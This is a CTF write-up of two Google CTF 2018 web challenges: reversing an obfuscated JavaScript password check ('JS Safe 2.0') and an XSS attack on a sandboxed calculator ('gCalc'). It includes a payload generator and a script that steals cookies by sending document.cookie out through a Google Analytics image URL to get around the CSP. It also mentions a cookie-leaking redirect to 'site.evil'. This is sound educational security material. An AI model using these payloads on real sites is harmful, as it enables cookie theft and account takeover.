Google CTF 2018 Writeups: JS Safe 2.0 and gCalc
I’m back again with some more CTF writeups because apparently that’s all we do here now. This time, two web problems from Google CTF!
JS Safe 2.0
You stumbled upon someone’s “JS Safe” on the web. It’s a simple HTML file that can store secrets in the browser’s localStorage. This means that you won’t be able to extract any secret from it (the secrets are on the computer of the owner), but it looks like it was hand-crafted to work only with the password of the owner…
We are provided with a page that asks for a password, and when given a string, attempts to decrypt data from localStorage
. Opening the attachment, there are a couple of functions that clearly stand out as being responsible for carrying out the decryption:
<script>
function x(х){ord=Function.prototype.call.bind(''.charCodeAt);chr=String.fromCharCode;str=String;function h(s){for(i=0;i!=s.length;i++){a=((typeof a=='undefined'?1:a)+ord(str(s[i])))%65521;b=((typeof b=='undefined'?0:b)+a)%65521}return chr(b>>8)+chr(b&0xFF)+chr(a>>8)+chr(a&0xFF)}function c(a,b,c){for(i=0;i!=a.length;i++)c=(c||'')+chr(ord(str(a[i]))^ord(str(b[i%b.length])));return c}for(a=0;a!=1000;a++)debugger;x=h(str(x));source=/Ӈ#7ùª9¨M¤À.áÔ¥6¦¨¹.ÿÓÂ.Ö£JºÓ¹WþÊmãÖÚG¤
¢dÈ9&òªћ#³1᧨/;source.toString=function(){return c(source,x)};try{console.log('debug',source);with(source)return eval('eval(c(source,x))')}catch(e){}}
</script>
<script>
function open_safe() {
keyhole.disabled = true;
password = /^CTF{([0-9a-zA-Z_@!?-]+)}$/.exec(keyhole.value);
// console.log(String(x));
if (!password || !x(password[1])) return document.body.className = 'denied';
document.body.className = 'granted';
password = Array.from(password[1]).map(c => c.charCodeAt());
encrypted = JSON.parse(localStorage.content || '');
content.value = encrypted.map((c,i) => c ^ password[i % password.length]).map(String.fromCharCode).join('')
}
function save() {
plaintext = Array.from(content.value).map(c => c.charCodeAt());
localStorage.content = JSON.stringify(plaintext.map((c,i) => c ^ password[i % password.length]));
}
</script>
Prettying up function x
a bit, we end up with
function x(х){
ord=Function.prototype.call.bind(''.charCodeAt);
chr=String.fromCharCode;
str=String;
function h(s){
for(i=0;i!=s.length;i++){
a=((typeof a=='undefined'?1:a) + ord(s[i])) % 65521;
b=((typeof b=='undefined'?0:b) + a) % 65521
}
return chr(b>>8) + chr(b&0xFF) + chr(a>>8) + chr(a&0xFF)
}
function c(a,b,c){
for(i=0; i != a.length; i++)
c = (c||'')
+ chr(ord(str(a[i])) ^ ord(str(b[i%b.length])));
return c
}
// for(a=0;a!=1000;a++)
// debugger;
a = 1000; // Not in original code; inserted to match the above loop
x=h(str(x));
source=/a really bad regex that confuses our syntax highlighter/;
source.toString=function(){
return c(source,x)
};
try{
// console.log('debug',source);
with(source)
return eval('eval(c(source,x))')
}catch(e){}
}
A quick look over h
indicates that it’s some kind of hashing function that I’m not going to take the time to reverse further, and a glance at c
indicates that it’s simply a string XOR.
As for function x
itself, it sets a
to 1000 (invoking debugger
on every increment) and then sets x
to h(str(x))
… hey, wait, how does JavaScript scoping work when an argument and function have the same name?
You might have noticed this already since it renders well in this blog’s code font, but in our editors we couldn’t tell that the name of the function and its argument were two different things (its argument actually being U+0445
, “CYRILLIC SMALL LETTER HA”, and not a lowercase x
). This means that the argument to str
is… the function itself. And of course, String(x)
returns the source code of x
, meaning our edited version will never return the right answer. Nice! (We ended up simply logging the value of x
in the proper context to reach the same conclusion.)
After that, we set the toString()
method of our nasty regex to be its value XORed with our value of x
, and then we do whatever the heck eval('eval(c(source,x))')
does, with the value of source
in our context.
Working from the inside out, we start by XORing source
with whatever our value of x
is. Fortunately, we can just compute this manually without knowing the key, since it only relies on the source of x
:
fnx = `the result of String(x), for the real function x`;
function x(х){
ord=Function.prototype.call.bind(''.charCodeAt);
chr=String.fromCharCode;
str=String;
function h(s){
for(i=0;i!=s.length;i++){
a=((typeof a=='undefined'?1:a) + ord(s[i])) % 65521;
b=((typeof b=='undefined'?0:b) + a) % 65521
}
return chr(b>>8) + chr(b&0xFF) + chr(a>>8) + chr(a&0xFF)
}
function c(a,b,c){
for(i=0; i != a.length; i++)
c = (c||'')
+ chr(ord(str(a[i])) ^ ord(str(b[i%b.length])));
return c
}
a = 1000;
x=h(str(fnx));
source=/.../;
source.toString=function(){
return c(source,x)
};
with(source) {
console.log(c(source,x));
}
}
x("CTF{123}");
This outputs the string х==c('¢×&Ê´cʯ¬$¶³´}ÍÈ´T©Ð8ͳÍ|Ô÷aÈÐÝ&¨þJ',h(х))
. In other words, for the main function to return true
, we need to find a value q
such that q == c('some weird string', h(q))
.
At this point, you might be tempted to try reversing the hash function h
; however, there is a much easier approach. We know what q
looks like — since the original password had to match /^CTF{([0-9a-zA-Z_@!?-]+)}$/
, and q
is the password with the CTF{}
wrapping removed, q
must match /^([0-9a-zA-Z_@!?-]+)$/
. Therefore, we know that c('some weird string', h(q))
must also match that regex. Since h
only returns a 4-character string, we can simply try every value for each of the 4 characters and see which values result in only ascii characters after an XOR (note that this is 4 * 2^8
checks rather than 2^32
since we can treat each byte individually):
// Pardon how awful this script is, it was written very quickly during the CTF and was never cleaned up
// Scroll to the bottom for a proper download link
fnx = `...`;
function x(х){
ord=Function.prototype.call.bind(''.charCodeAt);
chr=String.fromCharCode;
str=String;
function h(s){
for(i=0;i!=s.length;i++){
a=((typeof a=='undefined'?1:a) + ord(s[i])) % 65521;
b=((typeof b=='undefined'?0:b) + a) % 65521
}
return chr(b>>8) + chr(b&0xFF) + chr(a>>8) + chr(a&0xFF)
}
function c(a,b,c){
for(i=0; i != a.length; i++) {
c = (c||'')
+ chr(ord(str(a[i])) ^ ord(str(b[i%b.length])));
}
return c
}
a = 1000;
x=h(str(fnx));
source=/.../;
source.toString=function(){
return c(source,x)
};
try{
with(source) {
let q = eval("c(source,x)")
// Construct a list of all of the character codes in the string
let a = [];
for (let iii = 0; iii < q.length; iii++) {
a.push(ord(str(q[iii])));
}
a = a.slice(6, 45);
// When we XOR with our hash, every fourth character is XORed with the same character
// Thus, we bucket every fourth character in the same bucket
let parts = [[],[],[],[]]
for (let d = 0; d < a.length; d++) {
parts[d%4].push(a[d]);
}
// Convert each bucket to a string for simplicity
parts = parts.map((p) => p.map(x => chr(x)).join(""))
for (let i = 0; i < 4; i++) { // For each byte of the hash...
console.log(`----- CHAR ${i} -----`);
for (let j = 0; j < 256; j++) { // For every possibility of the byte...
let out = /^[0-9a-zA-Z_@!?-]+$/.exec(c(parts[i], chr(j)));
if (out) { // Our guess for the byte can be valid only if every character in the bucket ends up matching the regex
console.log(j, chr(j));
}
}
}
console.log("----------");
// To test an answer, replace the chr() calls on this line
console.log(c(a.map(f => chr(f)).join(""), chr(253) + chr(153) + chr(21) + chr(249)));
}
}catch(e){
console.log(e);
}
}
x("CTF{123}");
You can download the script, with the proper strings and regexes, here.
This script gives us two possible answers: the hash of the flag string must be either [253, 149, 21, 249]
or [253, 153, 21, 249]
. Substituting in each possibility for the value of h(x)
in c('some weird string', h(q))
, we end up with two possible flag strings, CTF{_B3x7!v3R91ON!h45!AnTE-4NXi-abt1-H3bUk_}
and CTF{_N3x7-v3R51ON-h45-AnTI-4NTi-ant1-D3bUg_}
, the latter of which is the correct flag.
Note: Zach and I got first blood on this problem, which was also the second solve of the entire CTF!
gCalc
For all your calculation needs.
First Look
In this problem, we are given a web calculator. It seems to function just like any other basic calculator app might, but the interesting bit is the link on the bottom right: “Computer too slow? Try it on our i386 beowulf cluster.” Clicking on the link has us fill out a captcha, which presumably sends off our calculation to some remote machine. Looking at the network logs, we don’t get to see the response; only “OK”:
This tells us that
- We probably need to exflitrate some data from the remote machine
- We can’t use the result of the expression to do so, and will probably need to bypass the CSP
Moving on to the code, it turns out that the calculator isn’t actually running on the linked page at all; rather, it’s running inside of a sandboxed iframe
:
<html lang="en">
<head>
<meta name="viewport" content="width=device-width, initial-scale=1">
<meta charset="utf-8">
<link rel="stylesheet" href="/static/style0.css">
</head>
<body>
<iframe src="https://sandbox-gcalc2.web.ctfcompetition.com/static/calc.html?" border=0 sandbox="allow-scripts allow-modals allow-same-origin"></iframe>
</body>
</html>
The code that powers the calculator is minified, but it’s only about 175 lines after using Chrome’s built-in deminifier. One function in particular seems quite interesting:
function p(a, b) {
a = String(a).toLowerCase();
b = String(b);
if (!/^(?:[\(\)\*\/\+%\-0-9 ]|\bvars\b|[.]\w+)*$/.test(a))
throw Error(a);
b = JSON.parse(b, function(a, b) {
if (b && "object" === typeof b && !Array.isArray(b))
return Object.assign(Object.create(null), b);
if ("number" === typeof b)
return b
});
return (new Function("vars","return " + a))(b)
}
This function p
is what gets called when you hit the =
button in the calculator app, and is presumably what gets run when you send your calculation to the remote machine. Its two parameters, a
and b
, are the expression and variables that can be seen in the HTTP request to /report
in the first image above. This function effectively does the following:
- Check if the expression matches the magic regular expression (more on that in a minute); exit if it doesn’t
- Parse the variables, but only include numbers and objects in the result
- Invoke the expression with
vars
set to the parsed variables
The obvious step is to try to exploit this into getting arbitrary JavaScript execution.
Working around the Regex
For those less well-versed in regular expressions, the check /^(?:[\(\)\*\/\+%\-0-9 ]|\bvars\b|[.]\w+)*$/.test(a)
is saying the following: we pass the check if and only if the entire string a
consists of any number of repetitions of the following kinds, in any order:
- Any of the literal characters
()*/+%-
, a space, or any digit - The literal string
vars
- A single dot (
.
) followed by one or more “word characters”, namely any alphanumeric or underscore
The intent here is clearly that you can make mathematical expressions containing strings of the form vars.fieldname
in order to substitute your variables of choice. However, this gives us way more power than intended, since (as we will soon see) we can construct things we should not otherwise be able to construct.
The lowest-hanging fruit is that we can access any field on any object that we can get into our expression, since the regular expression does not check that the string before a dot is vars
. Clearly, this lets us access the fields we declared on our vars
object; however, we can also access properties that are inherently on JavaScript values, so long as they are fully lower case. The one most interesting to us is constructor
: given a value, it gives you the function that can be used to construct that type of object. If vars
is { x: 1 }
, then vars.x.constructor
isn’t very exciting since it’s just the Number
function; however, since Number
is indeed a function, Number.constructor
(and thus vars.x.constructor.constructor
) is the Function
function — which lets us generate functions from strings, just as the calculator does to execute the expression! Therefore, if we can produce arbitrary strings, then we can also execute arbitrary code by submitting
vars.x.constructor.constructor(/* string-producing expression here */)()
Now we need a way to produce strings. While we can produce some static strings by abusing JavaScript’s handling of addition of non-numeric types (for example, vars + vars
will net us [object Object][object Object]
), we can’t get enough control to actually produce usable code.
However, numbers are not the only literals that we can produce following this regular expression. Since /
is allowed in any location, we can also produce regular expression literals. Conveniently, regular expressions have a source
field (thanks for the reminder, JS Safe 2.0!) that is equal to the string that produced the regular expression, so /abcd/.source
is abcd
. Using this in the form /.contenthere/.source
, we can get any string we want consisting of lower case letters, so long as it is preceded by a dot. Fortunately, strings have a slice
method that can be used to get rid of the first character (substring
or substr
would also work here); thus, we can produce strings that have lower case characters, and can extend this concept to the other allowed individual characters as well (being careful to produce valid regular expressions). At this point, we can actually pull off the basic XSS check of calling alert
:
vars.x.constructor.constructor(/.alert(1)/.source.slice(1))()
Note: an easy way to test this as you go is to navigate to https://sandbox-gcalc2.web.ctfcompetition.com/static/calc.html and run p(expression, JSON.stringify(variables))
in the console.
This is useful, but can only get us so far; we can’t yet produce uppercase or special characters. In fact, all we really need to be able to do is produce a capital C
: then we could invoke String.fromCharCode()
and produce any character we want. However, this is not readily available using the tricks we have done thus far; none of the stringified constructors contain C
, and in order to call "c".toUpperCase()
we would need to already have an uppercase C
!
We got stuck at this point for a while, but eventually realized that we had the entire global scope at our disposal, including Angular’s global angular
object. This conveniently exposes an uppercase
method, which converts a character to uppercase. Using this we can finally get a hold of an uppercase C
:
p("vars.x.constructor.constructor(/.return /.source.slice(1) + /.angular.uppercase/.source.slice(1))()(/.c/.source.slice(1))", '{"x":1}')
/*
Translated: (function(){ return angular.uppercase }())("c")
Returns: "C"
*/
Now we can produce any function we want by getting a handle on String.fromCharCode
and using that to produce any string we want. At this point, it’s easiest to write a script to automatically convert exploit scripts to payloads:
const fs = require("fs");
let data = fs.readFileSync(process.argv[2]).toString();
// Converts the given string to some code producing that string matching the magic regex
// If init is true, we won't use `vars.c` to access `String.fromCharCode`
function make(dat, init = false) {
return dat
.split(/(\.[a-z]+)|(\(|\))|([a-z]*[\*\+%\-0-9 ]+)|([A-Z])|([^a-zA-Z])/)
.filter((x) => x)
.map((part) => {
console.error(part);
return map(part, init);
})
.join("+");
}
// Maps a single "string part" (see above) to its magic-regex-matching equivalent
function map(part, init = false) {
if (!part){
return "";
}
if (part.match(/\.[a-z]+/)) {
return `/${part}/.source`;
}
if (part === ")") {
return `/(.x)/.source.split(/.x/.source.slice(4)).pop()`;
}
if (part === "(") {
return `/(.x)/.source.split(/.x/.source.slice(4)).shift()`
}
if (part.match(/[a-z\(\)\*\+%\-0-9 ]+/)) {
if (part[0].match(/[a-z]/)) {
return `/.${part}/.source.slice(1)`;
} else {
return `/${part}/.source`;
}
}
if (part.match(/^[A-Z]$/)) {
return init
? `vars.x.constructor.constructor(/.return /.source.slice(1) + /.angular.uppercase/.source.slice(1))()(/.${part.toLowerCase()}/.source.slice(1))`
: `vars.c(${part.charCodeAt(0)})`
}
return part.split("").map((c) => {
return init
? `vars.x.constructor.constructor(${make("return String.fromCharCode", init)})()(${c.charCodeAt(0)})`
: `vars.c(${c.charCodeAt(0)})`;
}).join("+");
}
// First, always store `String.fromCharCode` in `vars.c` (otherwise our request payloads become too long for a URL)
let rename = `vars.x.constructor.constructor(${make('return function(vars){vars.c=String.fromCharCode}', true)})()(vars)`
// Then actually run our exploit
let sploit = `vars.x.constructor.constructor(${make(data)})()`;
// This will execute `rename`, then `sploit`
sploit = `${rename}+${sploit}`
// Output options
// Output a URL for the top-level app (to simulate a real submission)
console.log(`https://gcalc2.web.ctfcompetition.com?expr=${encodeURIComponent(sploit)}&vars=${encodeURIComponent(JSON.stringify({ x: 1 }))}`);
// Ouptut a URL for inside the sandbox (to simulate a submission without iframe sandboxing)
console.log(`https://sandbox-gcalc2.web.ctfcompetition.com/static/calc.html?expr=${encodeURIComponent(sploit)}&vars=${encodeURIComponent(JSON.stringify({ x: 1 }))}`);
// Output a copy/paste-able string for testing in the console
console.log(`p(${JSON.stringify(sploit)}, ${JSON.stringify(JSON.stringify({ x: 1 }))})`);
Now we can run any code we want… but how do we exfiltrate the flag?
Exfiltration
As discussed earlier, when we submit a script, we only get an “Ok” response in return; thus, to get any data out, we need to actually connect back to ourselves somehow. The top-level CSP is pretty stringent:
default-src 'self'; child-src https://sandbox-gcalc2.web.ctfcompetition.com/
Primarily, the child-src
prevents us from simply using JavaScript to redirect the browser to `http://site.evil/${document.cookie}`
And as it currently stands, we don’t really have a way of getting code execution outside of our sandbox, so the default-src
probably doesn’t affect us much. What about inside the sandbox?
default-src 'self';
frame-ancestors https://gcalc2.web.ctfcompetition.com/;
font-src https://fonts.gstatic.com;
style-src 'self' https://*.googleapis.com 'unsafe-inline';
script-src 'self' https://www.google.com/recaptcha/ https://www.gstatic.com/recaptcha/ https://www.google-analytics.com https://*.googleapis.com 'unsafe-eval' https://www.googletagmanager.com;
child-src https://www.google.com/recaptcha/;
img-src https://www.google-analytics.com;
This provides us with a handful of Google domains that we can connect to in various ways. Most of them we don’t have any control over, but one option that we can use to get data out is opened to us: Google Analytics! Notably, GA has been whitelisted for both scripts and images. This means that we can use GA’s image-based transport to log data of our choice.
After consulting the Google Analytics tracking docs, we can construct a URL that we can fetch as part of an image to obtain the flag, and then set that as the background of the main <body>
:
// Replace the `tid` parameter with your own GA tracking ID
document.body.style.background=`url('https://www.google-analytics.com/r/collect?v=1&a=539949030&t=pageview&dl=http://a.b/?cookie=${encodeURIComponent(document.cookie)
}&ua=${encodeURIComponent(navigator.userAgent)
}&cid=2082155213.1529${Math.floor(100000+900000*Math.random())}&tid=UA-12345678-1')`
Submitting this to the server and watching the Google Analytics request logs, we can see the remote machine connecting to our server and dumping its cookies, and thus the flag, CTF{1+1=alert}
: